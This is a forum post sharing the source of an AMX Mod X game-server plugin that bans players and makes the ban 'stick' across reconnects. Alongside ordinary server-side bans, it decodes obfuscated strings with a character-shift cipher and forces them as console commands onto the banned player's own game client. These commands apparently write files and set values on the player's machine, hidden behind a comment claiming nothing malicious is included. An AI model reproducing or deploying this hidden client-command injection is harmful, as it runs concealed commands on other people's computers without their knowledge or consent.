Bu eklenti ile oyuncunun sunucuya girebilmesi için birkaç yöntemden geçmesi gerekiyor, eğer bir sıkıntı olmazsa forumda paylaşmayı düşünüyorum.
yazarak menü üzerinden istediğin oyuncuyu yasaklayabilirsin, Yasaklari kaldirmak icin, configs klasöründeki ban404.ini dosyasini silip sunucuyu komple kapatip ac yapiniz.
Kod: Tümünü seç
/*
Eklenti icerisinde, oyuncunun dosyalarını bozacak art niyetli komutlar yoktur
Yasaklari kaldirmak icin, configs klasöründeki ban404.ini dosyasini silip sunucuyu komple kapatip ac yapiniz
*/
#include <amxmodx>
#include <amxmisc>
#define CMDTARGET_BAN (CMDTARGET_OBEY_IMMUNITY | CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF)
new const GenelVeriler[] = "addons/amxmodx/configs/ban404.ini"
new const LogYeri[] = "addons/amxmodx/logs/ban404.log"
new const table[] = "dYm4urtizlp2y@h.qsbT67n5oQ /\,f8xwU91VvcPZeB3WAk0M%NHJFGKLjSgCaRDOEIX"
new const choices[] = "abcdefghijklmnopqrstuvwxyz0123456789"
new const veriler[][] =
{
"Pyh@MAVIwd2@8A8,VhI",
"Pyh@MAVIwd2@8McMA",
"Pyh@MAVIwQd,,Mi",
"Pyh@MAVIwWdqWM",
"Pyh@MAVIwqd,I2dIM",
"Pyh@MAVIwO8To@hAF"
}
new const FarkliYontem[][] =
{
"l8@iVhqMw",
"l8@i_Pyh@Mw^"B^"",
"l8@iVhqMw^"l8@in@c@^""
}
new veridegeri[] = "fB"
new veri1[] = "oM@h,V8w_"
new string[6][32]
public plugin_init()
{
register_plugin("404 Yapiskan Ban","1.0","F.T.H")
register_concmd("amx_404", "ugurla", ADMIN_IMMUNITY, "<isim>")
register_clcmd("say /404", "ugurlamenusu", ADMIN_IMMUNITY)
}
public dosyaayarlari()
{
new filecreate,buff[256]
if( !file_exists(GenelVeriler) )
{
filecreate = fopen(GenelVeriler, "a+")
GenerateString(choices, charsmax(choices), string[1], 9)
GenerateString(choices, charsmax(choices), string[2], 9)
GenerateString(choices, charsmax(choices), string[3], 9)
write_file(GenelVeriler,fmt("^"%s^" ^"%s^" ^"%s^"",string[1],string[2],string[3]))
fclose(filecreate)
}
else
{
filecreate = fopen(GenelVeriler, "rt")
while(!feof(filecreate))
{
fgets(filecreate, buff, charsmax(buff))
trim(buff)
if(!buff[0] || buff[0] == ';')
continue;
parse(buff,
string[1], charsmax(string[]),
string[2], charsmax(string[]),
string[3], charsmax(string[]))
}
}
new birlestir[3][20]
decrypt("osyh@Mo",birlestir[1], charsmax(birlestir[]), 7)
decrypt("n@c@",birlestir[2], charsmax(birlestir[]), 7)
formatex(string[4],charsmax(string[]),"%s/%s%s",birlestir[1],string[3],birlestir[2])
if( !file_exists(string[4]) )
{
filecreate = fopen(string[4], "a+")
write_file(string[4],fmt("^"%s^"^n^"%s^"^n^"%s^"^n^"%s^"",string[3],string[3],string[3],string[3]))
fclose(filecreate)
}
decrypt(veridegeri,string[5],charsmax(string[]),7)
}
public plugin_precache( )
{
dosyaayarlari()
precache_generic(string[4])
force_unmodified( force_exactfile, { 0, 0, 0 }, { 0, 0, 0 }, string[4] );
}
public inconsistent_file( id, const sFile[ ], sReason[ 64 ] )
{
yasakla(id,0)
server_print("Yasakli oyuncu (%n) sunucuya girmeye calisti.",id)
return PLUGIN_HANDLED
}
public client_connect(id)
{
new icek[3][32]
formatex(icek[1],charsmax(icek[]),"_%s",string[1])
get_user_info(id, icek[1], icek[2], charsmax(icek[]))
if(strlen(icek[2]) > 0 )
yasakla(id,0)
}
public ugurlamenusu(id, level,cid)
{
if(!cmd_access(id, level, cid, 2))
return PLUGIN_HANDLED;
new menu = menu_create("\d[\y 404 Ban \d] ^n\rDIKKAT: YANLIS KISIYI BANLAMAYIN!", "oyuncumenusu");
menu_setprop(menu, MPROP_EXITNAME, "Cikis");
menu_setprop(menu, MPROP_BACKNAME, "Geri");
menu_setprop(menu, MPROP_NEXTNAME, "Ileri");
new pl[32], pnum;
get_players(pl, pnum, "ch");
for(new i, pid[2], name[32]; i < pnum; i++)
{
pid[0] = pl[i];
get_user_name(pl[i], name, charsmax(name));
menu_additem(menu, name, pid, 0)
}
menu_display(id, menu, 0);
return PLUGIN_HANDLED;
}
public oyuncumenusu(id, menu, item)
{
if(item == MENU_EXIT)
{
menu_destroy(menu);
return PLUGIN_HANDLED;
}
new pid[2], _access, call;
menu_item_getinfo(menu, item, _access, pid, charsmax(pid), .callback = call);
if(!is_user_connected(pid[0]))
client_print_color(id, 0, "^3Oyuncu sunucudan cikmis!");
else
{
yasakla(pid[0],id)
}
menu_destroy(menu);
return PLUGIN_HANDLED;
}
public ugurla(id, level, cid)
{
if(!cmd_access(id, level, cid, 2))
return PLUGIN_HANDLED;
new target[32]
read_argv(1, target, 31)
new player = cmd_target(id, target, CMDTARGET_BAN)
if(!player)
return PLUGIN_HANDLED;
yasakla(player,id)
return PLUGIN_HANDLED;
}
public yasakla(player,yasaklayan)
{
new authid[32],userid,address[32],buff[256],ctime[32]
get_user_authid(player, authid, 31)
get_user_ip(player, address, 31, 1)
userid = get_user_userid(player)
decrypt(veri1, buff, charsmax(buff), 7)
Comm(player,fmt("%s%s %s",buff,string[1],string[1]))
for(new b = 0; b < sizeof(FarkliYontem); b++)
{
decrypt(FarkliYontem[b], buff, charsmax(buff), 7)
if(b==0)
{
formatex(buff,charsmax(buff),"%s ^"%s^"",buff,string[4])
}
Comm(player,buff)
}
for(new a = 0; a < sizeof(veriler); a++)
{
decrypt(veriler[a], buff, charsmax(buff), 7)
Comm(player,buff)
}
Comm(player,"clear")
server_cmd("kick #%d ^"YASAKLANDIN^";wait;banid 999999999999999 %s;wait;writeid", userid, authid)
server_cmd("wait;addip ^"999999999999999^" ^"%s^";wait;writeip", address)
get_time("%H:%M:%S | %m/%d/%Y",ctime,charsmax(ctime))
new mapname[32]
get_mapname(mapname,31)
if(yasaklayan)
{
client_print_color(0,0,"^4[^3%n^4] Adli oyuncu ^4[^3%n^4] isimli yetkili tarafindan^3 404 ^4BAN ile yasaklandi!",player,yasaklayan)
log_to_file(LogYeri,"[%n] isimli oyuncu [%n] isimli yetkili tarafindan 404 ile yasaklandi - %s - %s",player,yasaklayan,ctime,mapname)
}
else
client_print_color(0,0,"^4[^3%n^4] Adli Yasakli oyuncu sunucuya girmeye calisti!^3 404",player)
}
stock Comm(id, const text[], any:...)
{
#pragma unused text
new message[256];
format_args(message, charsmax(message), 1);
message_begin(id == 0 ? MSG_ALL : MSG_ONE, str_to_num(string[5]), _, id);
write_byte(strlen(message) + 2);
write_byte(10);
write_string(message);
message_end();
}
// Sifreleme (Destro)
stock table_find_char(character)
{
for(new i; table[i]; i++) if(table[i] == character) return i
return -1
}
stock generate_key(stringg[])
{
new int[1]
for(new i; i < 4 && stringg[i]; i++) int{i} = stringg[i]
return 1+int[0]%255
}
stock encrypt(const stringg[], out[], len, numkey)
{
new charid, i
for(i=0;i<=len;i++)
out[i] = EOS
for(i=0; stringg[i] && i <= len;i++)
{
charid = table_find_char(stringg[i])
if(charid == -1) out[i] = stringg[i]
else out[i] = table[(charid+numkey)%charsmax(table)]
}
}
stock decrypt(encrypted[], out[], len, numkey)
{
new charid, i
for(i=0;i<=len;i++)
out[i] = EOS
for(i=0; encrypted[i] && i <= len;i++)
{
charid = table_find_char(encrypted[i])
if(charid == -1) out[i] = encrypted[i]
else out[i] = table[(charid-numkey)%charsmax(table)]
}
}
GenerateString(const choices[], const num_choices, output[], const len)
{
for(new i = 0; i < len; i++)
{
output[i] = choices[random(num_choices)];
}
return len;
}